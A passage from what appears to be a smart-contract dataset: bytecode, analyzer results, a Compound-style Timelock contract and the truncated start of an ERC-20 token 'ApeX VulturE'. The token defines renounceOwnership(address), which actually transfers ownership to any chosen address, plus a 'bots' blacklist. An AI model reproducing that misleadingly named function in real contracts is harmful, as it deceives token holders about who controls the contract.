901b17905060188163ffffffff16901c60f81b868581518110610fc857610fc7611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060108163ffffffff16901c60f81b86600186018151811061101b5761101a611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060088163ffffffff16901c60f81b86600286018151811061106e5761106d611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508060f81b8660038601815181106110b7576110b6611884565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350505050505050565b60006004820291506000601860405180610420016040528061040081526020016119d96104009139848151811061112857611127611884565b5b602001015160f81c60f81b60f81c60ff1663ffffffff16901b9050601060405180610420016040528061040081526020016119d96104009139600185018151811061117657611175611884565b5b602001015160f81c60f81b60f81c60ff1663ffffffff16901b81179050600860405180610420016040528061040081526020016119d9610400913960028501815181106111c6576111c5611884565b5b602001015160f81c60f81b60f81c60ff1663ffffffff16901b8117905060405180610420016040528061040081526020016119d96104009139600384018151811061121457611213611884565b5b602001015160f81c60f81b60f81c60ff168117905080915050919050565b6060600760ff168260ff161061127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127490611747565b60405180910390fd5b8160ff16600014156112a957604051806080016040528060608152602001612042606091399050611411565b8160ff16600114156112d557604051806080016040528060608152602001611e39606091399050611411565b8160ff166002141561130157604051806080016040528060608152602001611fe2606091399050611411565b8160ff166003141561132d57604051806080016040528060608152602001612102606091399050611411565b8160ff166004141561135957604051806080016040528060608152602001611979606091399050611411565b8160ff166005141561138557604051806080016040528060608152602001611dd9606091399050611411565b8160ff16600614156113b157604051806080016040528060608152602001611f59606091399050611411565b60016113c0576113bf611826565b5b600067ffffffffffffffff8111156113db576113da6118b3565b5b6040519080825280601f01601f19166020018201604052801561140d5781602001600182028036833780820191505090505b5090505b919050565b6060600360ff168260ff1610611461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145890611727565b60405180910390fd5b8160ff166000141561148d57604051806080016040528060608152602001611ef9606091399050611545565b8160ff16600114156114b957604051806080016040528060608152602001611e99606091399050611545565b8160ff16600214156114e5576040518060800160405280606081526020016120a2606091399050611545565b60016114f4576114f3611826565b5b600067ffffffffffffffff81111561150f5761150e6118b3565b5b6040519080825280601f01601f1916602001820160405280156115415781602001600182028036833780820191505090505b5090505b919050565b6000813590506115598161194a565b92915050565b60008135905061156e81611961565b92915050565b600080600080600060a086880312156115905761158f6118e2565b5b600061159e8882890161154a565b95505060206115af8882890161154a565b94505060406115c08882890161155f565b93505060606115d18882890161155f565b92505060806115e28882890161155f565b9150509295509295909350565b600060208284031215611605576116046118e2565b5b60006116138482850161155f565b91505092915050565b600061162782611782565b6116318185611798565b93506116418185602086016117f3565b61164a816118e7565b840191505092915050565b60006116608261178d565b61166a81856117a9565b935061167a8185602086016117f3565b611683816118e7565b840191505092915050565b600061169b6011836117a9565b91506116a6826118f8565b602082019050919050565b60006116be6010836117a9565b91506116c982611921565b602082019050919050565b6116dd816117e6565b82525050565b600060208201905081810360008301526116fd818461161c565b905092915050565b6000602082019050818103600083015261171f8184611655565b905092915050565b600060208201905081810360008301526117408161168e565b9050919050565b60006020820190508181036000830152611760816116b1565b9050919050565b600060208201905061177c60008301846116d4565b92915050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60007fffffff000000000000000000000000000000000000000000000000000000000082169050919050565b600060ff82169050919050565b60005b838110156118115780820151818401526020810190506117f6565b83811115611820576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f6e6f7365206f7574206f662072616e6765000000000000000000000000000000600082015250565b7f657965206f7574206f662072616e676500000000000000000000000000000000600082015250565b611953816117ba565b811461195e57600080fd5b50565b61196a816117e6565b811461197557600080fd5b5056fe00000000000000000000000000000000000000000000000000000000000000000000000038003f0007c001f8003c01f807c03f0038000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077073096ee0e612c990951ba076dc419706af48fe963a5359e6495a30edb883279dcb8a4e0d5e91e97d2d98809b64c2b7eb17cbde7b82d0790bf1d911db710646ab020f2f3b9714884be41de1adad47d6ddde4ebf4d4b55183d385c7136c9856646ba8c0fd62f97a8a65c9ec14015c4f63066cd9fa0f3d638d080df53b6e20c84c69105ed56041e4a26771723c03e4d14b04d447d20d85fda50ab56b35b5a8fa42b2986cdbbbc9d6acbcf94032d86ce345df5c75dcd60dcfabd13d5926d930ac51de003ac8d75180bfd0611621b4f4b556b3c423cfba9599b8bda50f2802b89e5f058808c60cd9b2b10be9242f6f7c8758684c11c1611dabb6662d3d76dc419001db710698d220bcefd5102a71b1858906b6b51f9fbfe4a5e8b8d4337807c9a20f00f9349609a88ee10e98187f6a0dbb086d3d2d91646c97e6635c016b6b51f41c6c6162856530d8f262004e6c0695ed1b01a57b8208f4c1f50fc45765b0d9c612b7e9508bbeb8eafcb9887c62dd1ddf15da2d498cd37cf3fbd44c654db261583ab551cea3bc0074d4bb30e24adfa5413dd895d7a4d1c46dd3d6f4fb4369e96a346ed9fcad678846da60b8d044042d7333031de5aa0a4c5fdd0d7cc95005713c270241aabe0b1010c90c20865768b525206f85b3b966d409ce61e49f5edef90e29d9c998b0d09822c7d7a8b459b33d172eb40d81b7bd5c3bc0ba6cadedb883209abfb3b603b6e20c74b1d29aead547399dd277af04db261573dc1683e3630b1294643b840d6d6a3e7a6a5aa8e40ecf0b9309ff9d0a00ae277d079eb1f00f93448708a3d21e01f2686906c2fef762575d806567cb196c36716e6b06e7fed41b7689d32be010da7a5a67dd4accf9b9df6f8ebeeff917b7be4360b08ed5d6d6a3e8a1d1937e38d8c2c44fdff252d1bb67f1a6bc57673fb506dd48b2364bd80d2bdaaf0a1b4c36034af641047a60df60efc3a867df55316e8eef4669be79cb61b38cbc66831a256fd2a05268e236cc0c7795bb0b4703220216b95505262fc5ba3bbeb2bd0b282bb45a925cb36a04c2d7ffa7b5d0cf312cd99e8b5bdeae1d9b64c2b0ec63f226756aa39c026d930a9c0906a9eb0e363f720767850500571395bf4a82e2b87a147bb12bae0cb61b3892d28e9be5d5be0d7cdcefb70bdbdf2186d3d2d4f1d4e24268ddb3f81fda836e81be16cdf6b9265b6fb077e118b7477788085ae6ff0f6a7066063bca11010b5c8f659efff862ae69616bffd3166ccf45a00ae278d70dd2ee4e0483543903b3c2a7672661d06016f74969474d3e6e77dbaed16a4ad9d65adc40df0b6637d83bf0a9bcae53debb9ec547b2cf7f30b5ffe9bdbdf21ccabac28a53b3933024b4a3a6bad03605cdd7069354de572923d967bfb3667a2ec4614ab85d681b022a6f2b94b40bbe37c30c8ea15a05df1b2d02ef8d000000000000000000000000000000000000000000000000000000000000000000000000001c00fc03e01f803c001f8003e000fc001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018003c007e00e701c38381c700e60060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018003c0018000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007ffe7ffe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000400020002000200063ffe7ffc06301818108c31c621c6608660066006310e3ffc1e78000001000180038003800100000000000000000000000000000000000000000000000000000089504e470d0a1a0a0000000d49484452000000300000003001030000006dcc6bc400000006504c5445000000000000000000000000000000000000000000000000000000000000000007e00ff01c381818300c300c300c300c300c300c18181c380ff007e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c00ff01c3818181818300c300c300c300c300c300c300c300c181818181c380ff003c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181818183818300c300c318c318c318c318c318c318c3bd81e780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000700e381c18180c300e7007e003c003c006600e701c301818381c700e000000000000000000000000000000000000000000000000000000000000000000000000a26469706673582212207921e79d6968a840f19c8626422dd8d47f763802c85f700992c97036a32acc1964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,236
0xeb91e4bd623bc871fbb9e445ab57997ac313eb04
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /// @notice Based on Compound Governance. contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; mapping (bytes32 => bool) public queuedTransactions; function init(address _admin, uint _delay) external { require(!initialized, "initialized"); require(_delay >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = _admin; delay = _delay; initialized = true; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100dd5760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461020b578063e177246e14610220578063f2b0653714610240578063f851a4401461026d576100dd565b80636a42b8f8146101cc5780637d645fab146101e1578063b1b43ae5146101f6576100dd565b8063399ae724116100bb578063399ae7241461013f5780633a66f9011461015f5780634dd18bf51461018c578063591fcdfe146101ac576100dd565b80630825f38f146100df5780630e18b68114610108578063267822471461011d575b005b6100f26100ed3660046109d5565b610282565b6040516100ff9190611128565b60405180910390f35b34801561011457600080fd5b506100dd6104a4565b34801561012957600080fd5b50610132610521565b6040516100ff91906110a4565b34801561014b57600080fd5b506100dd61015a36600461099b565b610530565b34801561016b57600080fd5b5061017f61017a3660046109d5565b6105cc565b6040516100ff919061111a565b34801561019857600080fd5b506100dd6101a7366004610975565b6106cf565b3480156101b857600080fd5b506100dd6101c73660046109d5565b61073e565b3480156101d857600080fd5b5061017f610802565b3480156101ed57600080fd5b5061017f610808565b34801561020257600080fd5b5061017f61080f565b34801561021757600080fd5b5061017f610816565b34801561022c57600080fd5b506100dd61023b366004610a7a565b61081d565b34801561024c57600080fd5b5061026061025b366004610a7a565b6108b5565b6040516100ff919061110c565b34801561027957600080fd5b506101326108ca565b6000546060906001600160a01b031633146102b85760405162461bcd60e51b81526004016102af90611139565b60405180910390fd5b600086868686866040516020016102d39594939291906110b2565b60408051601f1981840301815291815281516020928301206000818152600490935291205490915060ff1661031a5760405162461bcd60e51b81526004016102af906111b9565b826103236108d9565b10156103415760405162461bcd60e51b81526004016102af90611189565b610354836212750063ffffffff6108dd16565b61035c6108d9565b111561037a5760405162461bcd60e51b81526004016102af90611169565b6000818152600460205260409020805460ff1916905584516060906103a05750836103cc565b8580519060200120856040516020016103ba929190611075565b60405160208183030381529060405290505b60006060896001600160a01b031689846040516103e99190611091565b60006040518083038185875af1925050503d8060008114610426576040519150601f19603f3d011682016040523d82523d6000602084013e61042b565b606091505b50915091508161044d5760405162461bcd60e51b81526004016102af90611209565b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b60405161048d9493929190611239565b60405180910390a393505050505b95945050505050565b6001546001600160a01b031633146104ce5760405162461bcd60e51b81526004016102af906111d9565b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b60035460ff16156105535760405162461bcd60e51b81526004016102af906111c9565b6202a3008110156105765760405162461bcd60e51b81526004016102af90611159565b62278d008111156105995760405162461bcd60e51b81526004016102af906111a9565b600080546001600160a01b0319166001600160a01b0393909316929092179091556002556003805460ff19166001179055565b600080546001600160a01b031633146105f75760405162461bcd60e51b81526004016102af906111f9565b6106116002546106056108d9565b9063ffffffff6108dd16565b8210156106305760405162461bcd60e51b81526004016102af90611219565b6000868686868660405160200161064b9594939291906110b2565b60408051601f19818403018152828252805160209182012060008181526004909252919020805460ff1916600117905591506001600160a01b0388169082907f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f906106bd908a908a908a908a90611239565b60405180910390a39695505050505050565b3330146106ee5760405162461bcd60e51b81526004016102af906111e9565b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146107685760405162461bcd60e51b81526004016102af90611149565b600085858585856040516020016107839594939291906110b2565b60408051601f19818403018152828252805160209182012060008181526004909252919020805460ff1916905591506001600160a01b0387169082907f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf87906107f2908990899089908990611239565b60405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b33301461083c5760405162461bcd60e51b81526004016102af90611229565b6202a30081101561085f5760405162461bcd60e51b81526004016102af90611199565b62278d008111156108825760405162461bcd60e51b81526004016102af906111a9565b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156109025760405162461bcd60e51b81526004016102af90611179565b90505b92915050565b80356109058161134f565b803561090581611366565b600082601f83011261093257600080fd5b8135610945610940826112a3565b61127c565b9150808252602083016020830185838301111561096157600080fd5b61096c838284611309565b50505092915050565b60006020828403121561098757600080fd5b6000610993848461090b565b949350505050565b600080604083850312156109ae57600080fd5b60006109ba858561090b565b92505060206109cb85828601610916565b9150509250929050565b600080600080600060a086880312156109ed57600080fd5b60006109f9888861090b565b9550506020610a0a88828901610916565b945050604086013567ffffffffffffffff811115610a2757600080fd5b610a3388828901610921565b935050606086013567ffffffffffffffff811115610a5057600080fd5b610a5c88828901610921565b9250506080610a6d88828901610916565b9150509295509295909350565b600060208284031215610a8c57600080fd5b60006109938484610916565b610aa1816112dd565b82525050565b610aa1816112e8565b610aa1816112ed565b610aa1610ac5826112f0565b6112ed565b6000610ad5826112cb565b610adf81856112cf565b9350610aef818560208601611315565b610af881611345565b9093019392505050565b6000610b0d826112cb565b610b1781856112d8565b9350610b27818560208601611315565b9290920192915050565b6000610b3e6038836112cf565b7f54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a20436181527f6c6c206d75737420636f6d652066726f6d2061646d696e2e0000000000000000602082015260400192915050565b6000610b9d6037836112cf565b7f54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c81527f6c206d75737420636f6d652066726f6d2061646d696e2e000000000000000000602082015260400192915050565b6000610bfc6037836112cf565b7f54696d656c6f636b3a3a636f6e7374727563746f723a2044656c6179206d757381527f7420657863656564206d696e696d756d2064656c61792e000000000000000000602082015260400192915050565b6000610c5b6033836112cf565b60008051602061137083398151915281527230b739b0b1ba34b7b71034b99039ba30b6329760691b602082015260400192915050565b6000610c9e601b836112cf565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000610cd76045836112cf565b60008051602061137083398151915281527f616e73616374696f6e206861736e2774207375727061737365642074696d65206020820152643637b1b59760d91b604082015260600192915050565b6000610d326034836112cf565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420658152733c31b2b2b21036b4b734b6bab6903232b630bc9760611b602082015260400192915050565b6000610d886038836112cf565b7f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e81527f6f7420657863656564206d6178696d756d2064656c61792e0000000000000000602082015260400192915050565b6000610de7603d836112cf565b60008051602061137083398151915281527f616e73616374696f6e206861736e2774206265656e207175657565642e000000602082015260400192915050565b6000610e34600b836112cf565b6a1a5b9a5d1a585b1a5e995960aa1b815260200192915050565b6000610e5b6038836112cf565b7f54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737481527f20636f6d652066726f6d2070656e64696e6741646d696e2e0000000000000000602082015260400192915050565b6000610eba6038836112cf565b7f54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c2081527f6d75737420636f6d652066726f6d2054696d656c6f636b2e0000000000000000602082015260400192915050565b6000610f196036836112cf565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c8152751036bab9ba1031b7b6b290333937b69030b236b4b71760511b602082015260400192915050565b6000610f71603d836112cf565b60008051602061137083398151915281527f616e73616374696f6e20657865637574696f6e2072657665727465642e000000602082015260400192915050565b6000610fbe6049836112cf565b7f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a204573746981527f6d6174656420657865637574696f6e20626c6f636b206d757374207361746973602082015268333c903232b630bc9760b91b604082015260600192915050565b600061102f6031836112cf565b7f54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f81527036b290333937b6902a34b6b2b637b1b59760791b602082015260400192915050565b60006110818285610ab9565b6004820191506109938284610b02565b600061109d8284610b02565b9392505050565b602081016109058284610a98565b60a081016110c08288610a98565b6110cd6020830187610ab0565b81810360408301526110df8186610aca565b905081810360608301526110f38185610aca565b90506111026080830184610ab0565b9695505050505050565b602081016109058284610aa7565b602081016109058284610ab0565b6020808252810161109d8184610aca565b6020808252810161090581610b31565b6020808252810161090581610b90565b6020808252810161090581610bef565b6020808252810161090581610c4e565b6020808252810161090581610c91565b6020808252810161090581610cca565b6020808252810161090581610d25565b6020808252810161090581610d7b565b6020808252810161090581610dda565b6020808252810161090581610e27565b6020808252810161090581610e4e565b6020808252810161090581610ead565b6020808252810161090581610f0c565b6020808252810161090581610f64565b6020808252810161090581610fb1565b6020808252810161090581611022565b608081016112478287610ab0565b81810360208301526112598186610aca565b9050818103604083015261126d8185610aca565b905061049b6060830184610ab0565b60405181810167ffffffffffffffff8111828210171561129b57600080fd5b604052919050565b600067ffffffffffffffff8211156112ba57600080fd5b506020601f91909101601f19160190565b5190565b90815260200190565b919050565b6000610905826112fd565b151590565b90565b6001600160e01b03191690565b6001600160a01b031690565b82818337506000910152565b60005b83811015611330578181015183820152602001611318565b8381111561133f576000848401525b50505050565b601f01601f191690565b611358816112dd565b811461136357600080fd5b50565b611358816112ed56fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472a365627a7a7231582097609e991326144ce61e8adf4828c50dd21acbebacf6e584b2027ae9540a9e006c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {}}
10,237
0x8ed867f59459f2e163decde2d63f0f770b3c5429
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function renounceOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ApeXVulturE is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "ApeX VulturE";////////////////////////// string private constant _symbol = "AVEX";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 0;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 0;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xd67E4ba5b6D229a3b7e90447b8015C48a166B3ee);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xd67E4ba5b6D229a3b7e90447b8015C48a166B3ee);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 300000 * 10**9; //3% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), 